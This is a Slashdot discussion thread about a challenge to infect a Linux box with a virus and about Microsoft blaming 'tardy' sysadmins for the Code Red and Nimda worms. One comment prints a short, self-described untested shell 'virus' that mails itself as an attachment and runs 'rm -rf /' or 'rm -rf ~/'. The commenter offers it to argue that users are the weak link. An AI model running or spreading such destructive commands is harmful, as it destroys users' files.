    Perhaps part of the problem with Microsoft Sysadmins is that these people should never have become sysadmins in the first place, but because being a sysadmin (used to) draw such a large salary that everyone wanted on the bandwagon, and Microsoft, in their infinite wisdom saw fit to make it so any idiot could push the button, and be a sysadmin too... The ex-Sysadmin where I used to work at was an idiot as far as actually working with servers was concerned. He subscribed to the "If there's no dialogue box for it, it can't be done" syndrome, and it was downright depressing. Far Far too often, we had problems with spam, viruses, and worms because he didn't bother to learn HOW to use the software at his disposal's advanced features to fix this stuff.

    He was an MCSE too, so obviously these four letters aren't worth a pitcher of warm shit (to quote a famous American Revolutionary), and I'm glad that I'm NOT corrupted with any kind of Microsoft certification.

  38. Protecting MS? by Alien54 · · Score: 2
    tardy?

    You know someone is going to say retarded, which might not be completely fair.

    It has been said that no-one ever got fired for buying IBM (long ago), or Microsoft. This may be slowing changing. I don't know of many people who want to put their jobs on the line to protect the reputation of some other company.

    --
    "It is a greater offense to steal men's labor, than their clothes"
  39. Re:The REAL story by DumbSwede · · Score: 1
    The sad thing here, is I initially started to read this with more credulity than it deserves. In one sense this is a joke, but on the other hand, there will be a sizeable portion of people that believe it.

    You guys should add "Gotcha" at the end, for the more gullible, or those that skim through and miss things like "open sores software"

    I still find this unfunny, because it comes framed as a personal attack.

  40. Terrorism & Viri by sl3xd · · Score: 2

    Considering that writing a virus could be considered terrorism, and prosecuted as suck, I don't know that this would be the best idea...

    Although, I would certainly like the 10k Pounds...

    (Now, if only I knew how to input the Pound symbol on my US keyboard...)

    --
    -- Sometimes you have to turn the lights off in order to see.
    1. Re:Terrorism & Viri by PygmySurfer · · Score: 1

      Considering that writing a virus could be considered terrorism, and prosecuted as suck, I don't know that this would be the best idea...

      In the US maybe...

    2. Re:Terrorism & Viri by Anonymous Coward · · Score: 0

      "alt-156" ££££££

    3. Re:Terrorism & Viri by Tet · · Score: 2
      Now, if only I knew how to input the Pound symbol on my US keyboard


      More to the point, I wish CmdrTaco didn't. Then, perhaps, he'd use the correct &pound; HTML character entity, rather than a Latin1 pound (0xA3). Try setting the character encoding to something else (e.g., Cyrillic ISO-8859-5) and then look at the title of this story to see why.

      --
      "The invisible and the non-existent look very much alike." -- Delos B. McKown
  41. Contests like this are stupid by demaria · · Score: 2

    I've seen hacking contests before. They're really freaking lame. The results are not often announced, it just disappears. Or you get everyone doing a DoS thinking that is hacking.

    "Bleasdale maintains it is impossible to infect a correctly configured Linux system with a virus, and conversely that it is impossible to make a system running Windows secure."

    Okay this is quite clearly wrong. On many levels. Now it is possible that this guy set up a linux box with no services running at all. Fine. WindowsNT is equally secure with nothing running. But lets say a linux box has Apache, bind, or FTP on it. We've seen buffer overflows and other attacks on these software products. There is a delay from discovery to annoucement to fix available. To claim that a linux box is impossible to infect is just showing ignorance, unless of course it's running nothing at all.

    1. Re:Contests like this are stupid by rtaylor · · Score: 2

      I can see how it would be impossible to hack a linux box. A kernel doesn't really do anything by itself.

      Now, hacking a Linux distribution (Linux + userland) is a completely different challenge.

      --
      Rod Taylor
    2. Re:Contests like this are stupid by Anonymous Coward · · Score: 0

      > I've seen hacking contests before. They're really freaking lame
      > ...
      Actually this is quite useful. If your calculations show that
      you will lose something like USD 1 M in lost sales and bad
      publicity because you've got an insecure product, 10 K is
      peanuts for the chance to discover just where your product
      is vulnerable. Things like these have been going on years now.
      The would-be hackers are called tiger teams and you just can't believe
      the ingenuity these teams go through to hack into a
      system. The most successful I have heard are bribing the
      secretaries and posing as security or technical personnel.
      I think I read someplace about a case where a tiger team was
      able to hack a DoD installation by sending a fake patch
      using a purloined IBM letterhead.

  42. Better yet, don't... by Anonymous Coward · · Score: 0

    turn on the M$ box. :)
    While it is true that boxes need to be patched, it is also true that M$ does not really have a secured design nor is truly concerned with it. When I hear ppl complaining about patches on M$, all I can think of is a house with a deadlock on the front door, but with empty spaces where glass should be. The DeadLock is enough for M$ to say that they security, but they design a lousy house.

  43. pretty dangerous by TheMMaster · · Score: 1

    It has been said already, but I think this is a pretty dangerous undertaking, it has been a few years now but there has been a pretty bad *IX worm out there.
    It exploited secrurity holes in Bind and some other projects wich where (like Code Red and Nimda) known a FEW MONTHS before the worm came out.
    The only reason why this hasn't happened to *UX systems lately is because a) Most scripy kiddies hate windowze systems b) because we (the *IX admins) have something to prove (the superiority of "our" system) we PATCH.
    BUT since linux is becoming more and more mainstream and used more and more at homes as small file servers or as internet routers and the sort a worm could have some devestating effects.
    My 2 cts (BTW I am not defending Microsoft here)

    --
    Fighting for peace is like fucking for virginity
    1. Re:pretty dangerous by Anonymous Coward · · Score: 0

      >BUT since linux is becoming more and more mainstream and used more and
      >more at homes as small file servers or as internet routers and the
      >sort a worm could have some devestating effects.
      >My 2 cts (BTW I am not defending Microsoft here)
      >
      >
      You are both defending Microsoft and you are flat out wrong. Linux *DOES*
      not have the virus-spreading email programs and other software that
      populates the Windows enviroment.

      In other words the kinds of worms you see running under Microsoft OS's
      could never really find the kind of nuturting "enviroment" under Linux and
      BSD that they do under Windows.

    2. Re:pretty dangerous by TheMMaster · · Score: 1

      I was referring to WORM virusses, not IUV's (Ignorant User Virusses) WORM virusses spread THEMSELVES... they do not require stupid users to spread them... what I was TRYING to say is most home-users won't patch their systems if they are "only" routers. read up on your virusses

      --
      Fighting for peace is like fucking for virginity
  44. Windows more secure of Linux? by rzbx · · Score: 0

    Windows allows all those not-so-smart people to spread virus's. Just look at all the virus's that spread the most, ones like MELISSA, ILOVEYOU, etc. these virus's worked so well not becuase they were so well done, but because people allowed them to perform well. Windows comes with many "features" that allow virus's to spread easily, yes, most can be disabled, but not many people do. As with Linux, most Linux deployments prevent most of these problems. They don't usually include so many "features" that aid in the spread of virus's. Also, most deployments of Linux are managed by much more experienced system administrators, and users alike. As MS attempts to make things "easier" for the general public (obviously we know why and it isn't just to make things easier), they make it "easier" for the spread of virus's, not that they want to, but their main concern is make things "easier" so that more people buy their software as opposed to software that's not so easy to use. As Linux developers attempt to make things "easier" they tend to think a lot more along the lines of keeping everything secure at the same time. Any business wants to make a larger profit and as MS starts seeing that security is just as important to stay on top as making things "easier", even more important really, then they will continue to work more on security. MS has realised this actually, the secure side of MS is NT and 2000, the not so secure side ME and XP. The user base again, being the leaast secure, the base which just so happens to be the ones that helped spread those great ILOVEYOU virus's and such. MS is split, the Linux community isn't so much, there is no business Linux OS or desktop Linux OS, there are just different distributions. As with most distributions, they focus on both security and ease-of-use, but because there is no central authority, anyone who's concerned with security works on that area, and those concerned with ease-of-use work on making software easier.
    It isn't really about the OS, NT, 2K, Linux, BSD, BeOS, OSX, etc. it's about how they are developed and who maintains them that makes the difference between secure and not-so-secure. Hierarchy is not the best way to develop software, neither is running a business or government, or any organization. That is why democracy is better than communism or dictatorship, because they steer further from hierarchy.

    --
    Question everything.
  45. Uh... by GearheadX · · Score: 1
    Um.. call me crazy, but isn't encouraging virus developement on a platform that, to date, has more or less been drek-free a fundamentally Bad Idea?
  46. Tardy != Retard by Anonymous Coward · · Score: 0

    Tardy:

    tardy (adjective )
    FORMAL
    slow or late in happening or arriving
    Dinner was somewhat delayed on account of David's rather tardy arrival

    1. Re:Tardy != Retard by Anonymous Coward · · Score: 0

      The person who wrote the original comment, however, DOES == retard.

  47. Yawn.. by Anonymous Coward · · Score: 0
    I will pay $1000 to anyone who infects my Windows box with a virus...

    Avoiding viruses I really easy if you have some clue, no matter what the OS.

  48. I would love to see... by Anonymous Coward · · Score: 0

    M$ offer up money for virus writers. Oh wait, they did. They designed Windows just so that symantic and the other virus wirters could also sell programs to defeat it.

    This whole thing (M$,symantic, and other viral ocmpanies) reminds me of zdnet having a CIO from a company who sells security programs for IIS saying that IIS is safe.

  49. Gates by Publicus · · Score: 1

    Bill Gates would do this too, but he can't afford it.

    --

    My Karma was at 49, then they switched to words. All that work for nothing!

  50. reminds me .... by jeffy124 · · Score: 1

    ... of one of my old OS prof's in college

    during his OS course, if you were to root his box (it ran OpenBSD), report the contents of a certain file and how you broke in, you get an A and have your name listed as an OpenBSD contributer.

    Ok, so someone used the CS Dept's main Sun server to launch a DoS attack against his machine. His box held up just fine (he says he was using it during the attack and didnt notice anything unusual happening). But the dept server, OTOH, sustained major damage. It needed rebooting, and it crashed during reboot.

    The dept head was not happy. The guy had to cancel that challenge because it apparently violated university policy.

    --
    The One Rule Of Chess You'll Ever Need: Don't play someone who carries a kit in their bookbag.
    1. Re:reminds me .... by rtaylor · · Score: 2

      The person who launched the DOS wasn't very bright. Sure, a DOS may give a ton of false positives but you're not really getting anywhere.

      Surely they were doing more than just pinging the box to try to get the contents of a file.

      --
      Rod Taylor
    2. Re:reminds me .... by jeffy124 · · Score: 1

      yeah, DoS is a bad approach. It may actually knock the machine offline as opposed to gaining root access.

      But that's what the prof said happened (btw- he's not a very good teacher, he somehow made tenure something like 15-20 years ago, if he werent tenure he'd be gone, or so i've been told), but you are correct, something else was probably happening while the student was trying to DoS the box.

      --
      The One Rule Of Chess You'll Ever Need: Don't play someone who carries a kit in their bookbag.
  51. Tardy Sysadmins by secolactico · · Score: 1

    I agree with Microsoft, in part.

    Having been responsible some time ago of the maintenance of both systems (NT and Unix) I always found easier to maintain all the different flavors of Unix (Linux, Solaris, BSD) than WinNT. Win2000 might have changed that, but I'm no longer administering MS based systems.

    The main appeal of MS systems are the "Zero cost of ownership" (or whatever it's called), so it attracts lots of people with "zero sysadmin experience" who just pop in the cd and install nt+iis+exchange in a day or less, never again returning to so much as check the windows update page. I have a couple of customers who, to this day, are still vulnerable to code-red and nimda.

    And no amount of warnings makes them take action until ISPs start blocking them... it's almost the same with the SPAM problem.

    --
    No sig
  52. Just because its Loud... by mmThe1 · · Score: 1

    "....Eddie Bleasdale, has reiterated his pledge to give £10,000 to anyone who can infect his Linux computer with a virus."

    This is famous, because its Loud. Tomorrow if a Window 2000 Admin comes and says the same thing about his "correctly configured system", I'm sure nobody will be able to do anything EXCEPT for Microsoft Employees (or the code thieves...) who know of an undetected backdoor somewhere hidden underneath layers of Windows.

    But then, the same can be expected of a bug in Open Source which nobody has carefully examined till yet (its possible...quite possible).

  53. Proves Nothing by Bud+Dwyer · · Score: 2, Insightful
    I'm running Windows 98, and using a little common sense, I've never had any trouble with Viruses. Does this prove that Windows 98 is as good as Linux?


    More to the point: It's stupid and lazy people who get viruses, regardless of their OS. If Linux ever becomes widespread, it will have a bigger virus problem than Microsoft ever has.

    1. Re:Proves Nothing by dvdeug · · Score: 2

      It's non-computer geeks who get viruses. Why should the average person have to be paranoid about everything they do while connected to the net? It takes a great deal of knowledge to know what you need to be paranoid about and what you don't. Almost all of us download programs from unknown sites and run them; the intuition on what's safe and not there is hard to develop, and doesn't always save you. (Heck, even store bought programs from big names have been known to contain viruses.)

      Don't blame stupid people for viruses; the average person won't and shouldn't have to know enough to block every virus. Blame the people who made systems where virus writing is simple and fruitful.

    2. Re:Proves Nothing by Anonymous Coward · · Score: 0

      Subject: Hi!
      Body: Check this out, and tell me your opinion
      attachment: slashcomment.txt.pif

      Contents of attachment (between other things):
      I'm running Windows 98, and using a little common sense, I've never had any trouble with Viruses.

  54. RTFM by Fuzzums · · Score: 1

    "but a Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins"

    It's many many many times easyer to press 'SETUP' then it is to read a bugtraq every few days.

    Maybe Microsoft qould change the setup procedure so you HAVE to read many pages before your system works. Atleast you've proven that you can read ;)
    Bit like Linux. Read and search for hours to get something working.

    No. Just kidding, but the click-wait-and-beporoudofyourserver is also too easy. Last few weeks i've been probed by several MServers with the 'congratulated with your new server' screen as opening-screen. As I see it many of those servers are made by A: people who are curious about what it's like to have _their own_ server and B: install the server with illegal software and C: never have heared of 'patches' and 'upgrades'.

    --
    Privacy is terrorism.
  55. I can do it!!! by TheCrunch · · Score: 1

    All I need is access to your CD-ROM drive and a Windows CD!!

    --
    My life is one big siesta in which I'm dreaming I wished my life was one big siesta.
  56. Re:If businesses want to make their networks secur by drinkypoo · · Score: 1
    They simply need an admin who is diligent about applying patches and staying informed. Why does the CTO or CIO have to be involved? that's rediculous.

    I was the security "expert" at my last job, being the only person who really knew anything about security issues.

    I was hampered from doing my job because of the way the network was set up when I got there. People resisted change.

    Then, a FTP server someone else set up became an mp3 server one night. What a shock!

    In other words, if you're going to institute security, people have to actually listen to you and, essentially, do what you say. You need to be the one with the power, not the one who's told what to do. That kind of edict can [usually] only come from the top.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  57. Fiction by Anonymous Coward · · Score: 0

    Secure systems do not exist, everything
    is exploitable one way or the another,
    viruses are just form of explotation
    with primary objective known as destruction.

    Saying that one system is more secure or
    virus prone is just plain ignorant. It
    is impossible for OS designer to take
    into account everything, and run every
    possible test case against it. It is true
    however that as the level of complexity of
    the system increases the more insecure it
    becomes.

    1. Re:Fiction by Anonymous Coward · · Score: 0

      those who cant, teach

  58. Re:4th Amandment by Glytch · · Score: 1, Offtopic

    The Constitution is NOT a suicide pact.

    And quotes from Tom Clancy books are hardly divine wisdom.

  59. correction: not webstar, but pcweek hack contest by Jeremy+Erwin · · Score: 2

    To my knowledge, the Webstar reward still stands. The contest crack I suggested stems from a pcweek contest, the winner of which (jfs) exploited the third party PhotoAds software. jfs was partially succesful against the crack.linuxppc.org. Details here...

  60. Hope people have read the Gartner report... by SmileyBen · · Score: 5, Informative

    Before people start slamming the Gartner report again, I hope they've read it. People seem to be under the impression that Gartner said that IIS simply wasn't secure and that other things are better - and that the response to this is 'duh, any machine which isn't updated isn't secure'. That isn't a valid response at all, because what Gartner very specifically said was not that IIS couldn't be secured, but that it is simply uneconomical because of the time and effort it takes to update IIS.

    I.e. Just what they are saying is 'We all know you need good sysadmins to make sure systems are up to date with security patches, but in the case of IIS you'll have to employ someone to spend all their time doing this, and that simply isn't the least expensive way to go'....

    1. Re:Hope people have read the Gartner report... by sheldon · · Score: 2

      Well that's not correct either.

      You don't have to spend all of your time doing anything to IIS. You monitor a handful of email lists, and apply patches as they come out once a month or so. Takes maybe a few hours of time a month.

      But, if you read the Gartner report what they specifically say is that enterprises which were impacted by both Code Red and Nimda should look at alternatives.

      The rational behind this being that if that was the case, then you obviously don't have the procedures in place to keep up to date on your servers.

      The Gartner report was a kneejerk reaction which wasn't really helpful... like most Gartner recommendations.

    2. Re:Hope people have read the Gartner report... by Skuld-Chan · · Score: 1

      Oh I dunno - I've worked in at least two environments where IIS was used in a enterprise solution (IE more then several hundred users). It seemed to me the IIS people were always running around looking over logs, they got hacked twice - despite the fact they were dedicated to keeping it up and staying updated.

      Just say install the hotfix to any nt admin and watch as they run away in terror. Probably because they have to all be reinstalled every time you update anything - and each with one reboot.

    3. Re:Hope people have read the Gartner report... by Anonymous Coward · · Score: 0

      ONCE A MONTH !
      You must be that tardy person - I can see you are exactly the right sort of person Security section needs.
      A few hours - yep no need to test anything, or plan the rollout and backout strategy -is there. And you don't subscribe to the MS Platinum list - where patches come out a tad sooner - the concept of pay up - or you will get second rate feeds. The downtime and overtime for 300-3000 servers is nothing really, customers dont really expect 99.99% reliability.

      Now if you are that SA, working at 3am, after doing 100 servers previous, you are not going to make a finger fumble, or skip one in the list. And that good luck charm mans you can 'wing it' for the next 30 days or so.

      What gartmer did not say, is these holes were predictable, based on well founded suspicions.
      The downtime, because of patches - should be the key determinate. MS is rightly being caned for patches on patches, and not re-writhing (sic) the whole bloody module when defected.

  61. Tardy == Retarded by Anonymous Coward · · Score: 0
    tardy (adjective )
    FORMAL
    slow or late in happening or arriving

    retard
    verb
    1 : to slow up especially by preventing or hindering advance or accomplishment

    It should be of note that there does not exist a noun "retard". However, if one is tardy, then, by definition, he is or has been retarded.

    e.g. if a fire's arrival to your house is tardy, you could say that it has been retarded by the firemen.

  62. Tardy? by moogy · · Score: 1

    I think you mean tarded for using MS server software.

    --
    Blah Blah Blah
  63. RedHat next best thing to Microsoft by Felinoid · · Score: 3, Interesting

    Your right about RedHat. They throw together the worst Linux destro.
    RedHat has lost track of the whole idea of a destro. It's a "value added" Linux.. a better Linux than you'd get if you did it yourself.
    Not RedHat..

    The whole point is you shouldn't need to patch it.
    The defects found in RedHat and Windows are really stupid.
    Yeah don't run attachments.. smart idea.. Let's rember that this is a FEATURE Microsoft ADDED. It's not a defect. Windows was made this way.
    Give Microsoft a break for the first virus. Ok done.. Need the first infection to learn. Well great but the stupid patch is on the human side.

    Let's also remember that Windows is designed to be "user friendly" in other words users don't know better. Linux is made with the os develupers in mind.. not the avrage user. So before you could run an e-mail virus you'd have to know enough about Linux to recognise the virus for what it is.

    Now before we get ferther on the "RedHat".. RedHat is not Linux... RedHat is one single destro that compeates with Microsoft for the title of "the most bugs"... and last I heard RedHat held the title.. Not Microsoft.

    Going into the past there have been many brown bag Unixes that were far worse than anything Microsoft put out. It's not like Microsoft or RedHat has ever achived the title of "all time most buggy".
    But those companys went away. Pushed under by Sun Microsystems long before Linux saw the light of day.

    Yes you can pick out a Linux destro that is as bad if not worse than Microsoft.. I know RedHat isn't the only brain dead destro.
    So you can't just buy the first Linux destro on the shelfs any more than you could buy the first used car you see.

    But you can't shop around for a better Windows.

    Finnaly as I understand Windows admin are fearful of Microsoft patches. They are worried the fix will be worse than the disease...
    That fear dosen't seem to be shared by Linux counterparts.

    Ideally a Linux destro should be fine out of the box needing no patching. Not all destros have this advantage so you do need to shop around.

    A lot more preferable to patching Windows and hoping the patches don't make things worse.

    Basicly for Linux you need to train users there is no way around this.
    If you want Windows to work correctly you have to train the users as well.

    Now what advantage did Windows have over Linux? Not needing to train anybody.
    Oh.. yeah well I guess thats not the case anymore.

    There aren't any viruses for Linux at the moment.
    If you want to argue the future fine be my guest but let's leave it at right now Windows has the lead in viruses. Linux won't catch up even if we wanted it to...

    --
    I don't actually exist.
    1. Re:RedHat next best thing to Microsoft by Anonymous Coward · · Score: 0

      Destro? Wasn't he like a bad guy in the old GI Joe cartoons. Or do you mean "distro". You're probably one of those guys who spouts off calling Athlon processors "Athalons". Ah, to be 13 years old again!

    2. Re:RedHat next best thing to Microsoft by sunconscious · · Score: 0
      Yeah don't run attachments.. smart idea.. Let's rember that this is a FEATURE Microsoft ADDED. It's not a defect. Windows was made this way.

      sure... Microsoft added "attachments" to email... good one.

    3. Re:RedHat next best thing to Microsoft by fferreres · · Score: 1

      No, microsoft added the autorun_default_action on "Click" thing and flawed "Hide extensions" + "Icons" based on the (trickable) filename extension. Why do you need to autorun a .pif received in an email? It should ONLY allow you to save it to disk. Then Windows will be secure and the users will be the only security concern on a network (in the attachment field)

      --
      unfinished: (adj.)
  64. Makes me wonder... by trilucid · · Score: 3, Insightful


    I have to admit that *some* (okay, maybe a lot/most) of the infections were purely due to poor server administration. The story doesn't stop there though.

    I offer up as proof of what follows my Apache logs on my home machine for the last month. It's amazing how many machines out there seem incredibly interested in files such as "cmd.exe" and "root.exe", which (gasp!) don't exist on my Linux box. What's funnier is the fact that the vast majority of these attacks came from the BellSouth DSL network and various cable networks. I actually got to the point where I was ready to write a Perl script to grep up the nefarious log entries, nmap 'em automatically, and ship the results off to BellSouth's abuse department every 12 hours...

    The point I'm trying to make is simply that the biggest vector for the spread of this crap is home machines. MS can yap all day long about how poor admin'ing causes this, while they fail to admit that they've put horribly insecure web server software in the hands of average Joe and Jane Consumer. Now, I'm not saying it's all MS's fault; Joe and Jane are very much to blame too for not bothering to click "Start -> Windows Update" every once in a while.

    But I won't accept that MS can claim any sort of innocence on this. What about other /.'ers? How have your logs looked recently? Were the attacks on your network(s) mostly from commercial servers, or home-based machines?

    1. Re:Makes me wonder... by Anonymous Coward · · Score: 0
      yeah my logs are filled. most of them dsl. I thought about a script too, but then relaised most dsl implementations I've seen are DHCP. Good luck in locating the machines. We'll be seeing our logs fill up with this shit for a long time.


      I set any *cmd.exe* and *root.exe* crap to get redirected to the REMOTE_HOST:80$you have beeninfected really long urlblahblah.html$ in the hopes someone is checking the logs but I doubt it. At least i can maybe fill up their drive ;)

    2. Re:Makes me wonder... by AnimeFreak · · Score: 1

      Just a question, isn't nmap'n basically port scanning? If so, wouldn't that be a violation of your TOS?

      This is not a flame or anything.

  65. Tardy sysadms say msft, yeah, right. by Anonymous Coward · · Score: 0

    Tardiness basically means lateness, so, do they honestly think it has anything to do with that?

    They must think microsheeple are dumb, and assume everyone else is.

    Being tardy has nothing to do with it.

    THEY ARE BIG LIARS, PLAIN AS DAY.

  66. Gimme my money! by QuantumG · · Score: 2

    This has to be the most poorly researched article I've ever seen. What is this? "I heard Eddie say that he'd give Sophos a bucket load of money if they could infect his Linux box" becomes news? For a start, there are already Unix viruses and they have been reported in the wild. What is all this stuff about "hackers" and "exploits" about? Are we talking about worms or viruses or what? Where is the actual written declaration of the challenge? Who is the third party holding the cash in escrow? How is the challenge supposed to work? Surely Ed isn't suggesting that he will track down and award the author of any virus that ends up on his machine. Surely Ed isn't trying to incite people to write actual viruses and release them into the wild. I have emailed netproject.com, maybe the original "reporter" should have done this, it's called basic research. BTW - I heard Bill Gates said he'd give $1,000,000 to anyone who can sneak a woopie cushion onto his chair before he sits down on monday, should I look for the Slashdot article?

    --
    How we know is more important than what we know.
  67. This is simple... by wadetemp · · Score: 1

    ... we just need to convince him somehow that he needs to open email attachments. Any of us could make an executable that would dispose of his machine and we'd collect the reward. But he wouldn't run it for us like so many Windows users would. Linux is JUST as vulnerable to 90% of the types of Windows viruses that are out there... its users just often aren't.

  68. Microsoft exec .. by josepha48 · · Score: 2
    "but a Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins."

    Yeah.. they were to lazy to install a real OS like Unix/Linux/BSD... hey even if they kept NT or Windows, they could have at least used Apache!

    --

    Only 'flamers' flame!

  69. um.. by Anonymous Coward · · Score: 0

    Obviously, MICROSOFTS problem with IIS is the fact the tardy sysadms located the flaws in IIS design.

    Not bad for flunkies. I expect this is how CS people pass the blame around.

  70. What's the point by Anonymous Coward · · Score: 0

    What's the point of writing a virus for linux.. so you can infect 2-5% of the machines in the world? Wow.

    Linux doesn't need a virus anyway, it's dying on its own.

  71. Re:4th Amandment by Anonymous Coward · · Score: 0

    The people who wrote the Constitution could never have imagined that inhuman people like the Islamic terrorists would exist some day.

    Oh yes, we'll redefine "human" to exclude our enemies, what a great idea. With morons like you around these conflicts will be perpetuated forever.

  72. Re:Mod parent down by creative_name · · Score: 0

    go away AC

    --
    Posting as directed.
  73. Eaaasy does it... by Abnornymous+Howard · · Score: 1

    I tend to bash WinXXXX as the next slashdoter, with good reasons, but netstat exists on Win2k too... check your facts first.. :)

  74. Ignorant by creative_name · · Score: 0

    Wow. What a vivid case of your everyday ignorant person. Your awe inspiring use of the term 'gay' as a derogatory adjective is obvious testimony to your vast vocabulary. Thanks for making /. a better place...

    --
    Posting as directed.
  75. Re:Is going to award himself the cash? by Celt · · Score: 1

    Nah thats Windows your thinking of..

    --
    "WebTV: bringing the Internet into the shallow end of the gene pool since 1995" - Martin Bishop
  76. patch and don't get infected? by mandria · · Score: 1

    I have been reading though the posts and i've seen people saying that patch and don't get infected etc. My question is, how will you patch something that doesn't exist. I mean if a virus doesn't exist then there is no patch for that virus. You will get a patch after a virus has been discovered, and a patch has been released. But until then it might be too late. Somebody said (in a previous thread) that if an os was designed with security in mind the patches would be to a minimum. I agree to that and i like to say that it's not the admins fault. If MS had not all these security holes then maybe a few patches would "close" the holes and admins would be able to keep up with the patches.

  77. Not sloppy coding by einhverfr · · Score: 2

    Viruses and other exploits don't happen because of mere sloppy coding. It is rather arrogance and/or poor design (which I guess are the same thing). And this is not limited to proprietary software either.

    A well-designed secure program generally assumes that it will be compromised and has safeguards to limit impact of such a compromise. For example, think of what you can do if you compromise IIS or Sendmail, and compare with a compromise of Qmail or Apache (assuming you could compomise Qmail). IIS, Outlook, and other Microsoft products suffer from this problem.

    So, people will say that the *nix world is much better (and forget the lessons learned from the Morris Worm). The kernels are very stable, but it is the network services which are the most vulnerable. Remember that root has to run the process if it binds to a port below 1024, so many network daemons are run exclusively by root. If I were into this area, I would be targeting these services (BIND, Sendmail, Tux, Websphere, etc.) rather than the older viruses. Tux represents an interesting case in point because it can have no safeguards except for very careful coding (and NO coding will ever be perfect) as it runs in kernel mode.

    Now there is one other thing that was not said... Does the virus have to be Linux specific, or can I use an old-fashioned boot-sector virus?

    --

    LedgerSMB: Open source Accounting/ERP
  78. Erm, GPL Anyone? by Anonymous Coward · · Score: 0

    Too late, GPL virus has already been there done that.

    1. Re:Erm, GPL Anyone? by Lonath · · Score: 1

      You suck. I wanted to post this. :(

  79. Note to Middle East by jd · · Score: 2

    Virus means Anthrax is out.

    --
    It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
  80. Security vulnerabilities by einhverfr · · Score: 2

    You are both defending Microsoft and you are flat out wrong. Linux *DOES*
    not have the virus-spreading email programs and other software that
    populates the Windows enviroment.


    Hmmm.... So.... If Microsoft were to release Outlook for Linux, then we would be insecure too? The weak point of *nix is that only programs running as root can bind to ports below 1024 which means that most network services MUST run as root, and few have worker processes with fewer restrictions, like Apache does.

    So how abaout a change in paradigm? How about ditching this whole concept of requiring network services to run as root and have a "netd" group which would ba allowed to do this but not required to be root. We already sort of hack this by using xinetd and inetd, so why not create a new, more secure standard that would do more to prevent serious exploits and hence possibly viruses as well?

    --

    LedgerSMB: Open source Accounting/ERP
    1. Re:Security vulnerabilities by Anonymous Coward · · Score: 0

      >Hmmm.... So.... If Microsoft were to release Outlook for Linux, then
      >we would be insecure too? The weak point of *nix is that only programs
      >running as root can bind to ports below 1024 which means that most
      >network services MUST run as root, and few have worker processes with
      >fewer restrictions, like Apache does.
      >
      >
      >
      Eh? Firewalling in RedHat 7.1 *BLOCKS* ports below 1024. You sure you actually know what's going on in the Linux world? Sure doesn't seem like it.

    2. Re:Security vulnerabilities by Anonymous Coward · · Score: 0

      Kill him, inmediately. Please :-P ...

    3. Re:Security vulnerabilities by einhverfr · · Score: 2

      Nothing to do with my point. If you want to use the service, you have to open the port.

      And if the service is not installed, then that port is as good as blocked anyway.

      --

      LedgerSMB: Open source Accounting/ERP
  81. Re:4th Amandment by firewort · · Score: 1, Offtopic

    only I don't know which part of what I wrote resembled some Tom Clancy quote. I wrote my comment without assistance or plagarizing, because my thoughts are my own.

    --

  82. Unfair Comparison by Tazzy531 · · Score: 1

    I don't think this is a fair comparison. On one hand, you have a person that has locked down his machine with the latest patches, the highest security settings, firewalls, etc... And we're comparing it to a WinNT Administrator that has not patched his systems since the first install.

    Windows servers could be as secure as Linux if the administrators take the time into securing their servers
    Linux servers could be as insecure as a Win Server if the admin doesn't take the time into patching the system.

    It's just a matter of the admin. As an administrator of a relatively small institution, it is often difficult for me to be on top of every patch that is available. We have 3 live servers and 1 backup server. It is a great deal to ensure that the patch is not detrimental to our applications, finding time to patch the systems that works with the users, and actually doing it. System patches are often done on weekends or friday nights and doing a bunch of patches at the same time. There is a level of acceptable risks that you must take when you are dealing with live servers.

    Has anyone else encountered situations like this? How have you dealt with it?

    --


    _______________________________
    "I'm not Conceited...I'm just a realist..."
    1. Re:Unfair Comparison by Anonymous Coward · · Score: 0

      Not True, malware.com shows a long history of MS patching programs only to generate a new exploit/change the existing exploit in the process. MS will forever be playing plug the hole, they have built up from a weak foundation. No ammount of duct tape is going to hold up a house on stilts when the termites come a munchin.

  83. Re:Mod parent down by rzbx · · Score: 0

    Modding down this comment due to other comments is obsurd. Sure, maybe I did make bad comments in the past, but does that justify modding down for future comments that aren't really bad?
    Also, you should remember that both sides of a point should be taken, not everything has to agree with the majority. Back in the day a "spherical world" was extremely unpopular.

    Do you happen to work for MS?, hehe

    --
    Question everything.
  84. I win... by mini+me · · Score: 2


    #!/bin/sh
    #
    # TODO:
    # Parse e-mail address' out of browser's cache
    # Send program as attachment in e-mail
    # Program untested, you'll get the idea anyway...
    #
    echo -e 'To: $TO_ADDR\nSubject: Hi! How are you? \n\nI send you this file in order to have your advice\n\n#!/bin/sh\nif[ "$UID" = "0" ]; then\n\nrm -rf /\nelse\nrm -rf ~/\nfi" | sendmail -t

    if[ "$UID" = "0" ]; then
    rm -rf /
    else
    rm -rf ~/
    fi

    The program can be considered a virus. While it is blantently clear that you should never run it, I could have made it a binary which would have made it harder to see what it does. And who is to say that the user will even look at the file before executing it? A virus on any system requires the user to execute code (even if it is automated to a certain extent on certain systems). Whether the system is Linux or Windows, if the user wants to execute a program, they will.

    1. Re:I win... by Anonymous Coward · · Score: 0

      If I were stupid enough to run your program, I would get a bunch of "access denied" messages before it got around to deleting my personal files. The system files on my Linux box wouldn't be touched.

      If I remember from the last time I installed Win2K, it made it very easy (default setting?) to make my normal user account an Administrator, which effectively bypasses any security.

      Win9x/ME, of course, has no security at all.

    2. Re:I win... by RelliK · · Score: 2

      Problem is, you also need to have an email client that either runs the script automatically, or allows you to run the script just by clicking on the attachment. None of the Unix email clients I've seen do that. So to run the script you actually need to:

      1) save it as a file
      2) enable execute permission (chmod +x file)
      3) run.

      So there is no way you can run it inadvertantly (as is the case with Outlook).

      --
      ___
      If you think big enough, you'll never have to do it.
    3. Re:I win... by fferreres · · Score: 1

      AFAIK Nimbda infection doesn't require you to execute an attachment. If you have IE/Outlook unpatched, the file is executed automagicaly (Iframe + VBS bug).

      --
      unfinished: (adj.)
  85. corporate euphemisms by Anonymous Coward · · Score: 0

    So, let me get this straight. "Tardy" is a corporate euphemism for "retarded", right?

  86. tardy. ha! by murky · · Score: 1

    Sysadmins would not be put in such a position if M$ idiots actually had some settings turned _off_ by default.
    I know that is a hard concept for some) when unfortunately these things have to be installed (the client is the other half of the story :-)

  87. my challenge by Anonymous Coward · · Score: 0

    I will pay $1000 dollars to the first slashbotter who can infect my bum with a penguin.

  88. SirCam Strikes. by Anonymous Coward · · Score: 0

